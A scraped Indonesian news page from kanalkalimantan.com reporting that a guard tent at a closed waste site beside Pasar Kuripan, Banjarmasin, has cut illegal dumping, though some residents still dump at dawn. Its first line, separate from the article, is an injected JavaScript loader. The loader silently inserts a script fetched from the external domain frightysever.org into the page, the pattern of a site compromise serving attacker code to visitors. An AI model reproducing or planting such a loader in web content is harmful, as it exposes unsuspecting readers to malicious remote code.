(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pos Jaga di Bekas TPS Pasar Kuripan, Masih Ada yang Buang saat Sepi


KANALKALIMANTAN.COM, BANJARMASIN – Pemandangan berbeda di bekas TPS (Tempat Pembuangan Sampah) Jalan Veteran, Pasar Kuripan Banjarmasin, sebuah tenda dibangun sebagai tempat petugas pengawas sampah berada di kawasan bekas gunungan limbah rumah tangga itu.

Dari pantauan kanalkalimantan.com Senin (13/9/2021), di bekas TPS di Jalan Veteran tersebut, memang terlihat sudah tidak ada lagi tumpukan sampah yang menggunung. Dikarenakan sudah ada penjaga dan tenda yang dibangun untuk menjaga bekas titik pengumpulan sampah sementara tersebut.

Ya, bekas TPS samping Pasar Kuripan dikeluhkan warga sekitar yang merasa terganggu oleh tumpukan sampah tersebut, meski secara resmi sudah ditutup Pemko Banjarmasin, tepat berada di bahu Jalan Vetaran dan berada persis di depan mushola yang menimbulkan aroma yang tidak sedap.

 

 

Baca juga: Serbuan 2000 Vaksin Pelajar di Banjarbaru, Siswa Ingin Kembali Belajar di Kelas

Warga sekitar, Nur Halimah (64) kepada kanalkalimantan.com yang membuka warung makan lebih dari 30 tahun di dekat bekas TPS tersebut mengutarakan, sebelum ada yang jaga di titik itu masih banyak warga yang buang sampah. “Dulu saya juga pernah buang sampah di sana, karena sudah ada ditutup dan dilarang buang sampah di sana, saya tidak lagi buang di situ,” katanya.

Untuk sekarang ini, kata Nur Halimah, limbah atau sampah dari warung miliknya dititipkan kepada petugas yang mengambil pakai gerobak. “Petugasnya itu hampir setiap hari datang, jadi setiap kali diambil saya kasih upah 2000 ribu buat upah petugasnya itu,” akunya.

Nur Halimah menambahkan, untuk saat ini sampah memang sudah berkurang karena ada yang menjaga di tenda tepat di titik bekas buangan limbah warga itu. “Cuma karena yang jaga ini tidak 24 jam, jadi pas pagi itu sekitar subuh ada sebagian yang masih buang ke situ,” sebut Nur Halimah.(kanalkalimantan.com /seno)

Reporter : seno
Editor : kk


Risa

Recent Posts

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

1 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

3 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

3 jam ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

5 jam ago

Karst Sangkulirang-Mangkalihat dan Delta Mahakam, Bentang Alam yang Terancam Eksploitasi

KANALKALIMANTAN.COM, SAMARINDA - Akademisi Teknik Geologi Universitas Muhammadiyah Kalimantan Timur (UMKT) Syamsidar Sutan Malim Polawan… Read More

5 jam ago

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

18 jam ago

This website uses cookies.